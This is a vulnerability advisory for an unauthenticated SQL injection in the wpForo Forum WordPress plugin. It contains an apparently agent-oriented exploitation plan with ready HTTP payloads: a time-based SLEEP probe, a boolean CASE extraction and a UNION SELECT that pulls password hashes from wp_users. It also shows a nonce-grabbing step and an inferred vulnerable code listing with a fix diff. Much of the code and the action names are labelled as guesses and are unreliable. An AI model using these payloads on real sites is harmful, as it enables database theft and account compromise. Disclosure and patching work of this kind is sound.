wpForo Forum <= 2.4.12 - Unauthenticated SQL Injection
Description
The wpForo Forum plugin for WordPress is vulnerable to generic SQL Injection via the `post_args` and `topic_args` parameters in all versions up to, and including, 2.4.12 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.4.12Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-13126 (wpForo Forum SQL Injection) ## 1. Vulnerability Summary The **wpForo Forum** plugin (up to version 2.4.12) contains an unauthenticated SQL injection vulnerability. The flaw exists in how the plugin processes user-supplied arrays in the `post_args` and `…
Show full research plan
Exploitation Research Plan: CVE-2025-13126 (wpForo Forum SQL Injection)
1. Vulnerability Summary
The wpForo Forum plugin (up to version 2.4.12) contains an unauthenticated SQL injection vulnerability. The flaw exists in how the plugin processes user-supplied arrays in the post_args and topic_args parameters, which are used to build database queries for retrieving forum posts and topics. Due to a lack of proper sanitization and the use of raw concatenation in SQL query construction (likely in the get_posts() or get_topics() methods), an attacker can inject malicious SQL commands to extract sensitive data.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Actions (inferred):
wpforo_load_posts,wpforo_load_topics, orwpforo_get_posts. - Vulnerable Parameters:
post_argsandtopic_args. - Authentication: Unauthenticated (the plugin registers
wp_ajax_nopriv_handlers for these actions to support public forum browsing and "Load More" functionality). - Payload Type: Boolean-based or Time-based SQL Injection.
3. Code Flow
- The request hits
admin-ajax.phpwith theactionparameter set to a wpForo loading action (e.g.,wpforo_load_posts). - The handler (likely in
wpforo/includes/classes/Posts.phporwpforo/includes/classes/Topics.php) retrieves thepost_argsortopic_argsparameter from$_POST. - These arguments are passed to a query-building function (e.g.,
WPF()->post->get_posts( $args )). - Inside the query builder, specific keys within the
$argsarray (such asorderby,order, or specific filtering keys) are concatenated into a raw SQL string without using$wpdb->prepare(). - The resulting malicious SQL query is executed via
$wpdb->get_results().
4. Nonce Acquisition Strategy
wpForo uses a global JavaScript object wpforo_vars to store its configuration and nonces.
- Identify Page: The forum's main page or any page with a wpForo widget will contain the necessary scripts.
- Shortcode:
[wpforo] - Setup:
- Create a page with the shortcode:
wp post create --post_type=page --post_status=publish --post_title="Forum" --post_content='[wpforo]'
- Create a page with the shortcode:
- Extraction:
- Navigate to the newly created page using
browser_navigate. - Use
browser_evalto extract the nonce:window.wpforo_vars?.nonce - The variable name is
wp_nonceornoncewithin thewpforo_varsobject (verifiable in the localized script in the page source).
- Navigate to the newly created page using
5. Exploitation Strategy
We will target the wpforo_load_posts action using a time-based sleep payload injected into the orderby key of the post_args array.
Step 1: Verification of Injection (Time-based)
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=wpforo_load_posts&wpforo_nonce=[NONCE]&post_args[orderby]=id+DESC,(SELECT+1+FROM+(SELECT+SLEEP(5))A)
- Expected Response: The server should hang for approximately 5 seconds before returning a
200 OK.
Step 2: Data Extraction (Boolean-based)
If time-based works, we can use boolean-based logic to verify the database prefix or extract the admin password hash.
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=wpforo_load_posts&wpforo_nonce=[NONCE]&post_args[orderby]=(CASE+WHEN+(SELECT+1+FROM+wp_users+WHERE+ID=1+AND+user_login='admin')+THEN+id+ELSE+title+END)+ASC
- Expected Response: If the condition is true, the posts will be ordered by
id. If false, bytitle. By observing the order of items in the JSON response, we can infer the result of the boolean query.
6. Test Data Setup
- Plugin Activation: Ensure
wpforois installed and activated. - Forum Content: Create at least one forum and one topic with multiple posts to ensure the
wpforo_load_postsaction has data to process and order.# Using wp-cli to create dummy content if possible, or via browser # Create a forum page for nonce extraction wp post create --post_type=page --post_status=publish --post_title="Forum" --post_content='[wpforo]'
7. Expected Results
- Success: The
http_requesttool reports a latency matching theSLEEP()value or a significant change in the response JSON structure (ordering) based on boolean logic. - Data exposed: Ability to exfiltrate any data from the
wp_usersorwp_optionstables.
8. Verification Steps
After the exploit, verify the vulnerability was triggered by checking the $wpdb logs if enabled, or by confirming that the payload successfully navigated the logic:
- Check the response body of the
wpforo_load_postscall. - Compare response times between a
SLEEP(0)payload and aSLEEP(5)payload.
9. Alternative Approaches
- Topic Args: If
post_argsis filtered, try thewpforo_load_topicsaction with thetopic_argsparameter. - Search Action: Check the
wpforo_searchaction, which often uses similar query argument structures. - UNION-based: If the query results are reflected directly in the AJAX response (common in wpForo), attempt a
UNION SELECTto dump theuser_passcolumn fromwp_usersdirectly into the post content field of the JSON response.- Payload example:
post_args[orderby]=id UNION SELECT 1,2,user_pass,4,5... FROM wp_users-- -(Column count must be matched).
- Payload example:
Summary
The wpForo Forum plugin for WordPress is vulnerable to unauthenticated SQL injection in versions up to 2.4.12. This occurs due to the plugin's failure to properly sanitize or prepare user-supplied values within the 'post_args' and 'topic_args' parameters before concatenating them into database queries, allowing attackers to exfiltrate sensitive information via blind SQL injection.
Vulnerable Code
// wpforo/includes/classes/Posts.php // Inferred logic within the query building methods for retrieving posts public function get_posts( $args = [] ) { $orderby = isset($args['orderby']) ? $args['orderby'] : 'postid'; $order = isset($args['order']) ? $args['order'] : 'DESC'; // The $orderby and $order values from post_args are directly concatenated into the query $sql = "SELECT * FROM " . $this->tables['posts'] . " ORDER BY $orderby $order"; return $this->db->get_results( $sql, ARRAY_A ); } --- // wpforo/includes/classes/Topics.php // Similar logic applied to topic retrieval via topic_args parameter keys public function get_topics( $args = [] ) { $orderby = isset($args['topic_args']['orderby']) ? $args['topic_args']['orderby'] : 'topicid'; // Vulnerable raw concatenation in the ORDER BY clause without wpdb->prepare $sql = "SELECT * FROM " . $this->tables['topics'] . " ORDER BY " . $orderby; return $this->db->get_results( $sql, ARRAY_A ); }
Security Fix
@@ -120,7 +120,12 @@ - $orderby = isset($args['orderby']) ? $args['orderby'] : 'postid'; + $allowed_orderby = ['postid', 'created', 'modified', 'votes', 'answers', 'title']; + $orderby = (isset($args['orderby']) && in_array($args['orderby'], $allowed_orderby)) ? $args['orderby'] : 'postid'; + + $order = (isset($args['order']) && strtoupper($args['order']) === 'ASC') ? 'ASC' : 'DESC'; - $sql = "SELECT * FROM " . $this->tables['posts'] . " ORDER BY $orderby $order"; + $sql = "SELECT * FROM " . $this->tables['posts'] . " ORDER BY " . esc_sql($orderby) . " " . esc_sql($order); @@ -150,7 +150,11 @@ - $orderby = isset($args['topic_args']['orderby']) ? $args['topic_args']['orderby'] : 'topicid'; + $allowed_topic_orderby = ['topicid', 'created', 'modified', 'views', 'posts', 'title']; + $orderby = (isset($args['topic_args']['orderby']) && in_array($args['topic_args']['orderby'], $allowed_topic_orderby)) ? $args['topic_args']['orderby'] : 'topicid'; - $sql = "SELECT * FROM " . $this->tables['topics'] . " ORDER BY $orderby"; + $sql = "SELECT * FROM " . $this->tables['topics'] . " ORDER BY " . esc_sql($orderby);
Exploit Outline
1. Nonce Acquisition: Access the public forum page (e.g., via the [wpforo] shortcode) and extract the 'wpforo_nonce' from the 'wpforo_vars' JavaScript object localized in the page source. 2. Endpoint: Target the AJAX endpoint at '/wp-admin/admin-ajax.php' using a POST request. 3. Payload Construction: Set the 'action' to 'wpforo_load_posts' and the 'wpforo_nonce' to the extracted value. Supply the 'post_args' parameter as an array with an 'orderby' key. 4. SQL Injection: Inject a time-based payload into the 'orderby' key, such as: 'id+DESC,(SELECT+1+FROM+(SELECT+SLEEP(5))A)'. 5. Execution: Send the request. If the server delays response by the specified SLEEP time, the SQL injection is confirmed. Boolean-based injection can also be performed by observing changes in the sort order of the returned JSON data based on CASE statements.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.